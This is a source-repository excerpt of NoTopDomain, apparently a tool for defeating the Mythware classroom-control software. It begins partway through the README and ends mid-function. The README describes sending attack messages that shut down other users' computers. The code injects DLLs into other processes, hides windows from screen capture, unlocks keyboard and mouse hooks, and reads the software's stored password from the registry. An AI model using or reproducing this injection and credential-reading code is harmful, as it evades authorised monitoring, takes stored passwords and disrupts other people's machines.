| 注意:单台电脑的极域发送之后对任意一人的攻击消息将有22秒左右的无敌时间。 204 | 205 | 若对方开启了 NoTopDomain 或 JiyuTrainer 等反极域软件,部分操作可能会失败。 206 | 207 | 该功能执行时对方的实际权限很低,所以许多操作会出错,但是关机还是可以滴( -------------------------------------------------------------------------------- /libs/MinHook.h: -------------------------------------------------------------------------------- 1 | /* 2 | * MinHook - The Minimalistic API Hooking Library for x64/x86 3 | * Copyright (C) 2009-2017 Tsuda Kageyu. 4 | * All rights reserved. 5 | * 6 | * Redistribution and use in source and binary forms, with or without 7 | * modification, are permitted provided that the following conditions 8 | * are met: 9 | * 10 | * 1. Redistributions of source code must retain the above copyright 11 | * notice, this list of conditions and the following disclaimer. 12 | * 2. Redistributions in binary form must reproduce the above copyright 13 | * notice, this list of conditions and the following disclaimer in the 14 | * documentation and/or other materials provided with the distribution. 15 | * 16 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 17 | * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED 18 | * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A 19 | * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER 20 | * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 21 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, 22 | * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR 23 | * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF 24 | * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING 25 | * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 26 | * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 27 | */ 28 | 29 | #pragma once 30 | 31 | #if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__) 32 | #error MinHook supports only x86 and x64 systems. 33 | #endif 34 | 35 | #include 36 | 37 | // MinHook Error Codes. 38 | typedef enum MH_STATUS 39 | { 40 | // Unknown error. Should not be returned. 41 | MH_UNKNOWN = -1, 42 | 43 | // Successful. 44 | MH_OK = 0, 45 | 46 | // MinHook is already initialized. 47 | MH_ERROR_ALREADY_INITIALIZED, 48 | 49 | // MinHook is not initialized yet, or already uninitialized. 50 | MH_ERROR_NOT_INITIALIZED, 51 | 52 | // The hook for the specified target function is already created. 53 | MH_ERROR_ALREADY_CREATED, 54 | 55 | // The hook for the specified target function is not created yet. 56 | MH_ERROR_NOT_CREATED, 57 | 58 | // The hook for the specified target function is already enabled. 59 | MH_ERROR_ENABLED, 60 | 61 | // The hook for the specified target function is not enabled yet, or already 62 | // disabled. 63 | MH_ERROR_DISABLED, 64 | 65 | // The specified pointer is invalid. It points the address of non-allocated 66 | // and/or non-executable region. 67 | MH_ERROR_NOT_EXECUTABLE, 68 | 69 | // The specified target function cannot be hooked. 70 | MH_ERROR_UNSUPPORTED_FUNCTION, 71 | 72 | // Failed to allocate memory. 73 | MH_ERROR_MEMORY_ALLOC, 74 | 75 | // Failed to change the memory protection. 76 | MH_ERROR_MEMORY_PROTECT, 77 | 78 | // The specified module is not loaded. 79 | MH_ERROR_MODULE_NOT_FOUND, 80 | 81 | // The specified function is not found. 82 | MH_ERROR_FUNCTION_NOT_FOUND 83 | } 84 | MH_STATUS; 85 | 86 | // Can be passed as a parameter to MH_EnableHook, MH_DisableHook, 87 | // MH_QueueEnableHook or MH_QueueDisableHook. 88 | #define MH_ALL_HOOKS NULL 89 | 90 | #ifdef __cplusplus 91 | extern "C" { 92 | #endif 93 | 94 | // Initialize the MinHook library. You must call this function EXACTLY ONCE 95 | // at the beginning of your program. 96 | MH_STATUS WINAPI MH_Initialize(VOID); 97 | 98 | // Uninitialize the MinHook library. You must call this function EXACTLY 99 | // ONCE at the end of your program. 100 | MH_STATUS WINAPI MH_Uninitialize(VOID); 101 | 102 | // Creates a Hook for the specified target function, in disabled state. 103 | // Parameters: 104 | // pTarget [in] A pointer to the target function, which will be 105 | // overridden by the detour function. 106 | // pDetour [in] A pointer to the detour function, which will override 107 | // the target function. 108 | // ppOriginal [out] A pointer to the trampoline function, which will be 109 | // used to call the original target function. 110 | // This parameter can be NULL. 111 | MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal); 112 | 113 | // Creates a Hook for the specified API function, in disabled state. 114 | // Parameters: 115 | // pszModule [in] A pointer to the loaded module name which contains the 116 | // target function. 117 | // pszTarget [in] A pointer to the target function name, which will be 118 | // overridden by the detour function. 119 | // pDetour [in] A pointer to the detour function, which will override 120 | // the target function. 121 | // ppOriginal [out] A pointer to the trampoline function, which will be 122 | // used to call the original target function. 123 | // This parameter can be NULL. 124 | MH_STATUS WINAPI MH_CreateHookApi( 125 | LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal); 126 | 127 | // Creates a Hook for the specified API function, in disabled state. 128 | // Parameters: 129 | // pszModule [in] A pointer to the loaded module name which contains the 130 | // target function. 131 | // pszTarget [in] A pointer to the target function name, which will be 132 | // overridden by the detour function. 133 | // pDetour [in] A pointer to the detour function, which will override 134 | // the target function. 135 | // ppOriginal [out] A pointer to the trampoline function, which will be 136 | // used to call the original target function. 137 | // This parameter can be NULL. 138 | // ppTarget [out] A pointer to the target function, which will be used 139 | // with other functions. 140 | // This parameter can be NULL. 141 | MH_STATUS WINAPI MH_CreateHookApiEx( 142 | LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal, LPVOID *ppTarget); 143 | 144 | // Removes an already created hook. 145 | // Parameters: 146 | // pTarget [in] A pointer to the target function. 147 | MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget); 148 | 149 | // Enables an already created hook. 150 | // Parameters: 151 | // pTarget [in] A pointer to the target function. 152 | // If this parameter is MH_ALL_HOOKS, all created hooks are 153 | // enabled in one go. 154 | MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget); 155 | 156 | // Disables an already created hook. 157 | // Parameters: 158 | // pTarget [in] A pointer to the target function. 159 | // If this parameter is MH_ALL_HOOKS, all created hooks are 160 | // disabled in one go. 161 | MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget); 162 | 163 | // Queues to enable an already created hook. 164 | // Parameters: 165 | // pTarget [in] A pointer to the target function. 166 | // If this parameter is MH_ALL_HOOKS, all created hooks are 167 | // queued to be enabled. 168 | MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget); 169 | 170 | // Queues to disable an already created hook. 171 | // Parameters: 172 | // pTarget [in] A pointer to the target function. 173 | // If this parameter is MH_ALL_HOOKS, all created hooks are 174 | // queued to be disabled. 175 | MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget); 176 | 177 | // Applies all queued changes in one go. 178 | MH_STATUS WINAPI MH_ApplyQueued(VOID); 179 | 180 | // Translates the MH_STATUS to its name as a string. 181 | const char * WINAPI MH_StatusToString(MH_STATUS status); 182 | 183 | #ifdef __cplusplus 184 | } 185 | #endif 186 | 187 | -------------------------------------------------------------------------------- /libs/MinHook.x86.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LYXOfficial/NoTopDomain/386228dfbdade528a7a0472efd01c209c96353ee/libs/MinHook.x86.dll -------------------------------------------------------------------------------- /libs/MinHook.x86.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LYXOfficial/NoTopDomain/386228dfbdade528a7a0472efd01c209c96353ee/libs/MinHook.x86.lib -------------------------------------------------------------------------------- /libs/Moyu.ui: -------------------------------------------------------------------------------- 1 | 2 | 3 | Moyu2048 4 | 5 | 6 | 7 | 0 8 | 0 9 | 612 10 | 512 11 | 12 | 13 | 14 | 15 | 0 16 | 0 17 | 18 | 19 | 20 | 21 | Microsoft YaHei 22 | 23 | 24 | 25 | 快乐摸鱼!OIerの2048 By NoTopDomain 26 | 27 | 28 | 29 | 0 30 | 31 | 32 | 0 33 | 34 | 35 | 0 36 | 37 | 38 | 0 39 | 40 | 41 | 11 42 | 43 | 44 | 45 | 46 | 0 47 | 48 | 49 | 0 50 | 51 | 52 | 53 | 54 | 55 | 0 56 | 0 57 | 58 | 59 | 60 | 61 | 0 62 | 0 63 | 64 | 65 | 66 | 67 | 16777215 68 | 16777215 69 | 70 | 71 | 72 | 73 | 0 74 | 0 75 | 76 | 77 | 78 | 79 | Microsoft YaHei UI 80 | 18 81 | 50 82 | false 83 | 84 | 85 | 86 | 87 | 15 88 | 89 | 90 | 15 91 | 92 | 93 | 15 94 | 95 | 96 | 15 97 | 98 | 99 | 7 100 | 101 | 102 | 103 | 104 | false 105 | 106 | 107 | 108 | 0 109 | 0 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | false 121 | 122 | 123 | 124 | 0 125 | 0 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | false 137 | 138 | 139 | 140 | 0 141 | 0 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | false 153 | 154 | 155 | 156 | 0 157 | 0 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | false 169 | 170 | 171 | 172 | 0 173 | 0 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | false 185 | 186 | 187 | 188 | 0 189 | 0 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | false 201 | 202 | 203 | 204 | 0 205 | 0 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | false 217 | 218 | 219 | 220 | 0 221 | 0 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | false 233 | 234 | 235 | 236 | 0 237 | 0 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | false 249 | 250 | 251 | 252 | 0 253 | 0 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | false 265 | 266 | 267 | 268 | 0 269 | 0 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | false 281 | 282 | 283 | 284 | 0 285 | 0 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | false 297 | 298 | 299 | 300 | 0 301 | 0 302 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | false 313 | 314 | 315 | 316 | 0 317 | 0 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | false 329 | 330 | 331 | 332 | 0 333 | 0 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | false 345 | 346 | 347 | 348 | 0 349 | 0 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | Qt::Horizontal 368 | 369 | 370 | 371 | 40 372 | 20 373 | 374 | 375 | 376 | 377 | 378 | 379 | 380 | 381 | 0 382 | 0 383 | 384 | 385 | 386 | 387 | 11 388 | 389 | 390 | 11 391 | 392 | 393 | 11 394 | 395 | 396 | 11 397 | 398 | 399 | 400 | 401 | 402 | 0 403 | 0 404 | 405 | 406 | 407 | 408 | 409 | 410 | 411 | 412 | 413 | 414 | 415 | 0 416 | 0 417 | 418 | 419 | 420 | 421 | 422 | 423 | 424 | 425 | 426 | 427 | Qt::Horizontal 428 | 429 | 430 | 431 | 40 432 | 20 433 | 434 | 435 | 436 | 437 | 438 | 439 | 440 | 441 | 442 | 443 | Qt::Horizontal 444 | 445 | 446 | 447 | 40 448 | 20 449 | 450 | 451 | 452 | 453 | 454 | 455 | 456 | 457 | 458 | 459 | 0 460 | 0 461 | 462 | 463 | 464 | 465 | 466 | 467 | 468 | 469 | 470 | 471 | 0 472 | 0 473 | 474 | 475 | 476 | 经历五彩的AC、TLE、MLE、UKE和WA,最后AFO或是AKIOI (ง •_•)ง 477 | 478 | 479 | true 480 | 481 | 482 | 483 | 484 | 485 | 486 | 487 | 0 488 | 0 489 | 490 | 491 | 492 | 493 | Microsoft YaHei 494 | 24 495 | 496 | 497 | 498 | OIerの2048 499 | 500 | 501 | 502 | 503 | 504 | 505 | 允许截图 506 | 507 | 508 | 509 | 510 | 511 | 512 | 置顶窗口 513 | 514 | 515 | true 516 | 517 | 518 | 519 | 520 | 521 | 522 | 523 | 524 | 525 | 526 | 527 | 528 | 529 | 530 | 531 | 22 532 | 533 | 534 | 22 535 | 536 | 537 | 22 538 | 539 | 540 | 22 541 | 542 | 543 | 544 | 545 | 546 | 0 547 | 0 548 | 549 | 550 | 551 | 552 | Microsoft YaHei 553 | 14 554 | 75 555 | true 556 | 557 | 558 | 559 | Max. RP 560 | 561 | 562 | Qt::AlignCenter 563 | 564 | 565 | 566 | 567 | 568 | 569 | 570 | 0 571 | 0 572 | 573 | 574 | 575 | 576 | Microsoft YaHei 577 | 14 578 | 75 579 | true 580 | 581 | 582 | 583 | RP (Score) 584 | 585 | 586 | Qt::AlignCenter 587 | 588 | 589 | 590 | 591 | 592 | 593 | 594 | 0 595 | 0 596 | 597 | 598 | 599 | 600 | 0 601 | 50 602 | 603 | 604 | 605 | 606 | 16777215 607 | 60 608 | 609 | 610 | 611 | 612 | 613 | 614 | 615 | 616 | 0 617 | 0 618 | 619 | 620 | 621 | 622 | Microsoft YaHei 623 | 14 624 | 75 625 | true 626 | 627 | 628 | 629 | 时间 630 | 631 | 632 | Qt::AlignCenter 633 | 634 | 635 | 636 | 637 | 638 | 639 | 640 | 0 641 | 0 642 | 643 | 644 | 645 | 646 | Microsoft YaHei 647 | 14 648 | 50 649 | false 650 | 651 | 652 | 653 | 00:00:00 654 | 655 | 656 | Qt::AlignCenter 657 | 658 | 659 | 660 | 661 | 662 | 663 | 664 | 0 665 | 0 666 | 667 | 668 | 669 | 670 | 0 671 | 50 672 | 673 | 674 | 675 | 676 | 16777215 677 | 60 678 | 679 | 680 | 681 | 682 | 683 | 684 | 685 | 686 | 687 | 688 | 689 | 690 | 691 | 692 | 693 | 694 | 695 | 0 696 | 0 697 | 698 | 699 | 700 | 701 | Microsoft YaHei 702 | 9 703 | 704 | 705 | 706 | PS: {0: "", 2: "WA", 4: "TLE", 8: "MLE", 16: "RE", 32: "CE", 64: "PC", 128: "UKE", 256: "AC", 512: "CSP", 1024: "NOI", 2048: "IOI", 4096: "AK",...} 707 | 使用WASD或上下左右键操控。 708 | 709 | 710 | true 711 | 712 | 713 | 714 | 715 | 716 | 717 | 718 | 719 | 720 | Qt::Vertical 721 | 722 | 723 | 724 | 20 725 | 40 726 | 727 | 728 | 729 | 730 | 731 | 732 | 733 | 734 | 735 | Qt::Vertical 736 | 737 | 738 | 739 | 20 740 | 40 741 | 742 | 743 | 744 | 745 | 746 | 747 | 748 | 749 | 750 | -------------------------------------------------------------------------------- /libs/NTD.qss: -------------------------------------------------------------------------------- 1 | QMainWindow *{ 2 | font-family:"Microsoft YaHei","Microsoft YaHei"; 3 | } 4 | #centralwidget{ 5 | margin-top:0; 6 | background-color: aliceblue; 7 | } 8 | QPushButton,QToolButton{ 9 | padding-left: 7px; 10 | padding-right:7px; 11 | padding-top:5px; 12 | padding-bottom:5px; 13 | height:1em; 14 | border:none; 15 | background-color: #eeebeb; 16 | border: 1px solid #c0c0c0; 17 | border-radius:5px; 18 | } 19 | QToolButton{ 20 | padding:3px; 21 | } 22 | QPushButton:hover,QToolButton:hover{ 23 | background-color:rgb(228, 228, 228); 24 | } 25 | QPushButton:pressed,QToolButton:pressed{ 26 | background-color:rgb(208, 208, 208); 27 | } 28 | QLineEdit{ 29 | height:1.3em; 30 | } 31 | QCheckBox{ 32 | margin:1px; 33 | } 34 | QTabBar::tab{ 35 | background:transparent; 36 | border:none; 37 | padding:5px; 38 | margin:4px; 39 | height:1.1em; 40 | } 41 | QTabBar::tab:hover{ 42 | color:#555555; 43 | } 44 | QTabBar::tab:selected{ 45 | border-bottom:2px solid #70bfed; 46 | } 47 | QTabWidget::pane{ 48 | border-radius:10px; 49 | background-color:#ffffff; 50 | border: 1px solid #ddd; 51 | padding:2px; 52 | margin:0 2px 2px 2px; 53 | } 54 | /* QCheckBox::indicator{ 55 | border-radius:2px; 56 | border:0.5px solid gray; 57 | padding:2px; 58 | } 59 | QCheckBox::indicator:checked{ 60 | background-color:#0460da; 61 | border-color:#ccc; 62 | position:relative; 63 | } */ 64 | QLineEdit,QTextEdit,QPlainTextEdit{ 65 | border-radius:5px; 66 | border:1px solid #bbb; 67 | selection-background-color:#70bfed; 68 | } 69 | QGroupBox{ 70 | border-radius:10px; 71 | border:1px solid #ccc; 72 | color:#5b7372; 73 | font-size:15px; 74 | /* padding-top:15px; */ 75 | font-family:"Microsoft YaHei"; 76 | background-color: white; 77 | } 78 | #groupBox,#groupBox_13,#groupBox_12,#groupBox_8,#groupBox_2,#groupBox_4,#groupBox_3,#groupBox_5,#groupBox_6,#groupBox_9{ 79 | padding-top:25px; 80 | } 81 | QGroupBox::title{ 82 | subcontrol-origin:margin; 83 | padding:10px 10px; 84 | background:transparent; 85 | } 86 | QMenuBar::item{ 87 | border-radius:5px; 88 | padding:2px 8px; 89 | background-color:white; 90 | } 91 | QMenuBar::item:selected{ 92 | background-color:#ddd; 93 | } 94 | QMenuBar{ 95 | background-color:white; 96 | } 97 | QLineEdit:focus,QTextEdit:focus,QPlainTextEdit:focus{ 98 | border-color:#70bfed; 99 | } 100 | #widget_2{ 101 | background-color: rgb(46, 161, 255); 102 | } 103 | #label_21,#ver{ 104 | color:white 105 | } 106 | #widget_4 QRadioButton{ 107 | margin:5px; 108 | padding-left:-2px; 109 | font-size:17px; 110 | } 111 | #widget_4 QRadioButton:!checked:hover{ 112 | color:rgb(231, 231, 231); 113 | } 114 | #widget_4 QRadioButton:!checked{ 115 | color:white; 116 | border-left: 4px solid transparent; 117 | } 118 | #widget_4 QRadioButton:checked:hover{ 119 | color:rgb(213, 178, 142); 120 | } 121 | #widget_4 QRadioButton:checked{ 122 | color:rgb(255, 206, 171); 123 | border-left: 4px solid rgb(255, 206, 171); 124 | } 125 | #widget_4 QRadioButton::indicator{ 126 | width: 0px; 127 | height: 0px; 128 | } 129 | #closeWin{ 130 | height:30px; 131 | width:24px; 132 | font-size:35px; 133 | padding-top:-3px; 134 | border-radius: 16px; 135 | margin:0; 136 | color: white; 137 | background: transparent; 138 | border:none; 139 | } 140 | #closeWin:hover{ 141 | background-color: rgba(255, 0, 0, 0.8); 142 | } 143 | #closeWin:pressed{ 144 | background-color: rgba(147, 84, 84, 0.8); 145 | } 146 | #minWin{ 147 | height:30px; 148 | width:24px; 149 | font-size:35px; 150 | padding-top:-3px; 151 | border-radius: 16px; 152 | margin:0; 153 | color: white; 154 | background: transparent; 155 | border:none; 156 | } 157 | #ExitProcess{ 158 | margin: 0; 159 | color: white; 160 | background: transparent; 161 | border:none; 162 | max-height:24px; 163 | width:24px; 164 | padding:8px 6px; 165 | border-radius: 16px; 166 | } 167 | #minWin:hover,#ExitProcess:hover{ 168 | background-color: rgba(128, 128, 128, 0.6); 169 | } 170 | #minWin:pressed,#ExitProcess:hover{ 171 | background-color: rgba(93, 93, 93, 0.7); 172 | } 173 | #startButton:!hover,#Reset:!hover{ 174 | background-color: white; 175 | } 176 | #KillTD,#HangUpTD,#GBWindowed,#CloseGB{ 177 | margin:6px; 178 | border-radius:28px; 179 | font-size:15px; 180 | background-color:transparent; 181 | border:1px solid #d8d8d8; 182 | } 183 | #KillTD:hover,#HangUpTD:hover,#GBWindowed:hover,#CloseGB:hover{ 184 | background-color: #d8d8d8; 185 | } 186 | #KillTD:pressed,#HangUpTD:pressed,#GBWindowed:pressed,#CloseGB:pressed{ 187 | background-color: #cacaca; 188 | } 189 | #lineEdit_2{ 190 | margin:0 5px; 191 | } 192 | QLineEdit{ 193 | padding:0 10px; 194 | } 195 | #stTSK,#UninstallTopDomain{ 196 | padding:6px 5px; 197 | font-size:14px; 198 | } 199 | #KillTD:enabled{ 200 | color:#8f0000; 201 | } 202 | #HangUpTD:enabled{ 203 | color:#395a86; 204 | } 205 | #GBWindowed:enabled{ 206 | color:#73833b; 207 | } 208 | #CloseGB:enabled{ 209 | color:#af991f; 210 | } 211 | #groupBox_4 QLineEdit{ 212 | height:30px; 213 | font-size:14px; 214 | margin:0 20px; 215 | } 216 | #groupBox_4 QLabel{ 217 | height:30px; 218 | font-size:15px; 219 | margin:0 20px; 220 | } 221 | #groupBox_3 QLabel{ 222 | font-size:15px; 223 | } 224 | #GBBB QLabel,#jhhhh QLabel{ 225 | font-size:15px; 226 | } 227 | #stTSK,#UninstallTopDomain{ 228 | font-size:15px; 229 | } 230 | #widget{ 231 | background-color: #BBADA0; 232 | border:none; 233 | } 234 | #buttonbox{ 235 | background-color: #BBADA0; 236 | border:none; 237 | } 238 | #Reset,#startButton{ 239 | border: none; 240 | } 241 | #helpButton{ 242 | color:white; 243 | background-color:rgb(46, 161, 255); 244 | border:none; 245 | border-radius:30px; 246 | font-size:35px; 247 | } 248 | #helpButton:hover{ 249 | background-color:rgb(41, 133, 209); 250 | } 251 | QTextEdit,QPlainTextEdit,QTextBrowser{ 252 | border-radius:10px; 253 | background-color:transparent; 254 | padding:10px; 255 | } 256 | #helpMd{ 257 | background-color:white; 258 | } 259 | #capWindow{ 260 | font-size:18px; 261 | } 262 | #groupBox_6 QPushButton{ 263 | padding:7px; 264 | } 265 | #pushButton_2,#reStart{ 266 | padding:8px; 267 | font-size:17px; 268 | } 269 | #logLabel{ 270 | padding:10px 20px; 271 | background-color:#000000; 272 | color:white; 273 | background:#88000000; 274 | border-radius:19px; 275 | } 276 | #logpro::groove{ 277 | background:transparent; 278 | border:none; 279 | } 280 | #logpro::sub-page{ 281 | border-radius:1px; 282 | background:white; 283 | } 284 | #logpro::handle{ 285 | width:0; 286 | height:0; 287 | background:transparent; 288 | } 289 | #groupBox{ 290 | min-height:180px; 291 | } -------------------------------------------------------------------------------- /libs/NTDHide32Runner.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | void InjectDLL(DWORD dwId,LPCSTR path){ 4 | HANDLE mProcess=OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwId); 5 | LPTHREAD_START_ROUTINE fun =(LPTHREAD_START_ROUTINE)LoadLibraryA; 6 | SIZE_T pathSize=strlen(path)+1; 7 | LPVOID mBuffer=VirtualAllocEx(mProcess, NULL, pathSize, MEM_COMMIT, PAGE_READWRITE); 8 | WriteProcessMemory(mProcess, mBuffer, path, pathSize, NULL); 9 | CreateRemoteThread(mProcess, NULL, 0, fun, mBuffer, 0, NULL); 10 | return; 11 | } 12 | int main(){ 13 | char *a=GetCommandLineA(),*src=getenv("temp"); 14 | DWORD pId,type; 15 | sscanf(a,"%*s --pid=%d --type=%d",&pId,&type); 16 | if(type) 17 | strcat(src,"\\NTDHider32.dll"), 18 | InjectDLL(pId,src); 19 | else 20 | strcat(src,"\\NTDShower32.dll"), 21 | InjectDLL(pId,src); 22 | return 0; 23 | } -------------------------------------------------------------------------------- /libs/NTDHider.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | extern "C" __declspec(dllexport) int SetWindowDisplayAffinity(HWND a,int b); 3 | DWORD pid; 4 | BOOL CALLBACK EnumWindowCallBack(HWND hWnd, LPARAM lParam){ 5 | HMODULE dll=LoadLibraryA("user32.dll"); 6 | typedef int(*AddFunc)(HWND,int); 7 | AddFunc SetWindowDisplayAffinity; 8 | SetWindowDisplayAffinity=(AddFunc)GetProcAddress(dll,"SetWindowDisplayAffinity"); 9 | DWORD dwpid; 10 | if(GetWindowThreadProcessId(hWnd,&dwpid)) 11 | if(dwpid==pid&&(GetWindowLong(hWnd,GWL_STYLE)&WS_VISIBLE)) 12 | SetWindowDisplayAffinity(hWnd,0x11); 13 | return 1; 14 | } 15 | BOOL APIENTRY DllMain(HMODULE hMocule,DWORD dReason,LPVOID lpReserved){ 16 | switch(dReason){ 17 | case DLL_PROCESS_ATTACH: 18 | pid=GetCurrentProcessId(); 19 | EnumWindows(EnumWindowCallBack,0); 20 | break; 21 | case DLL_THREAD_ATTACH: 22 | break; 23 | case DLL_THREAD_DETACH: 24 | break; 25 | case DLL_PROCESS_DETACH: 26 | break; 27 | } 28 | return FALSE; 29 | } -------------------------------------------------------------------------------- /libs/NTDHookRunner.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | void InjectDLL(DWORD dwId,LPCSTR path){ 4 | HANDLE mProcess=OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwId); 5 | LPTHREAD_START_ROUTINE fun =(LPTHREAD_START_ROUTINE)LoadLibraryA; 6 | SIZE_T pathSize=strlen(path)+1; 7 | LPVOID mBuffer=VirtualAllocEx(mProcess, NULL, pathSize, MEM_COMMIT, PAGE_READWRITE); 8 | WriteProcessMemory(mProcess, mBuffer, path, pathSize, NULL); 9 | CreateRemoteThread(mProcess, NULL, 0, fun, mBuffer, 0, NULL); 10 | return; 11 | } 12 | int main(){ 13 | char *a=GetCommandLineA(),*src=getenv("temp"); 14 | DWORD pId; 15 | sscanf(a,"%*s --pid=%d",&pId); 16 | strcat(src,"\\NTDHooks.dll"); 17 | InjectDLL(pId,src); 18 | return GetLastError(); 19 | } -------------------------------------------------------------------------------- /libs/NTDHooks.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LYXOfficial/NoTopDomain/386228dfbdade528a7a0472efd01c209c96353ee/libs/NTDHooks.cpp -------------------------------------------------------------------------------- /libs/NTDShower.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | extern "C" __declspec(dllexport) int SetWindowDisplayAffinity(HWND a,int b); 3 | DWORD pid; 4 | BOOL CALLBACK EnumWindowCallBack(HWND hWnd, LPARAM lParam){ 5 | HMODULE dll=LoadLibraryA("user32.dll"); 6 | typedef int(*AddFunc)(HWND,int); 7 | AddFunc SetWindowDisplayAffinity; 8 | SetWindowDisplayAffinity=(AddFunc)GetProcAddress(dll,"SetWindowDisplayAffinity"); 9 | DWORD dwpid; 10 | if(GetWindowThreadProcessId(hWnd,&dwpid)) 11 | if(dwpid==pid&&(GetWindowLong(hWnd,GWL_STYLE)&WS_VISIBLE)) 12 | SetWindowDisplayAffinity(hWnd,0); 13 | return 1; 14 | } 15 | BOOL APIENTRY DllMain(HMODULE hMocule,DWORD dReason,LPVOID lpReserved){ 16 | switch(dReason){ 17 | case DLL_PROCESS_ATTACH: 18 | pid=GetCurrentProcessId(); 19 | EnumWindows(EnumWindowCallBack,0); 20 | break; 21 | case DLL_THREAD_ATTACH: 22 | break; 23 | case DLL_THREAD_DETACH: 24 | break; 25 | case DLL_PROCESS_DETACH: 26 | break; 27 | } 28 | return FALSE; 29 | } -------------------------------------------------------------------------------- /libs/NTDTools.cpp: -------------------------------------------------------------------------------- 1 | //蒟蒻 QwQ 2 | #include 3 | #include 4 | #include 5 | #include "MinHook.h" 6 | using namespace std; 7 | HOOKPROC HookProc(int nCode,WPARAM wParam,LPARAM lParam){ 8 | return 0; 9 | } 10 | extern"C" { 11 | void UnlockKeyboard(void); 12 | void SetWindowPref(HWND hwnd); 13 | void SetWindowNoPref(HWND hwnd); 14 | void UnlockMouse(void); 15 | void GetMythwarePasswordFromRegedit(void); 16 | int StartMythware(LPWSTR location); 17 | bool GetWindowRightMenu(HWND hwnd); 18 | bool KillProcessByThread(int pid); 19 | void InjectDLL(DWORD pid,LPCSTR path); 20 | } 21 | void UnlockKeyboard(){ 22 | HHOOK kbdHook=SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)HookProc,GetModuleHandle(NULL),0); 23 | Sleep(50); 24 | UnhookWindowsHookEx(kbdHook); 25 | } 26 | void UnlockMouse(){ 27 | HHOOK mseHook = (HHOOK)SetWindowsHookEx(WH_MOUSE_LL, (HOOKPROC)HookProc, GetModuleHandle(NULL), 0); 28 | ClipCursor(0); 29 | Sleep(50); 30 | UnhookWindowsHookEx(mseHook); 31 | } 32 | void SetWindowPref(HWND hwnd){ 33 | SetWindowPos(hwnd,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE); 34 | Sleep(50); 35 | } 36 | void SetWindowNoPref(HWND hwnd){ 37 | SetWindowPos(hwnd,HWND_NOTOPMOST,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE); 38 | Sleep(50); 39 | } 40 | void GetMythwarePasswordFromRegedit() { 41 | char str[1145]; 42 | int f=1; 43 | HKEY retKey; 44 | BYTE retKeyVal[MAX_PATH * 10] = { 0 }; 45 | DWORD nSize = MAX_PATH * 10; 46 | LONG ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\WOW6432Node\\TopDomain\\e-Learning Class\\Student", 0, KEY_QUERY_VALUE | KEY_WOW64_32KEY, &retKey); 47 | if (ret != ERROR_SUCCESS) { 48 | LONG ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\TopDomain\\e-Learning Class\\Student", 0, KEY_QUERY_VALUE | KEY_WOW64_32KEY, &retKey); 49 | if (ret != ERROR_SUCCESS) return; 50 | } 51 | ret = RegQueryValueExA(retKey, "Knock", NULL, NULL, (LPBYTE)retKeyVal, &nSize); 52 | if (ret != ERROR_SUCCESS) { 53 | ret = RegQueryValueExA(retKey, "knock1", NULL, NULL, (LPBYTE)retKeyVal, &nSize); 54 | if (ret 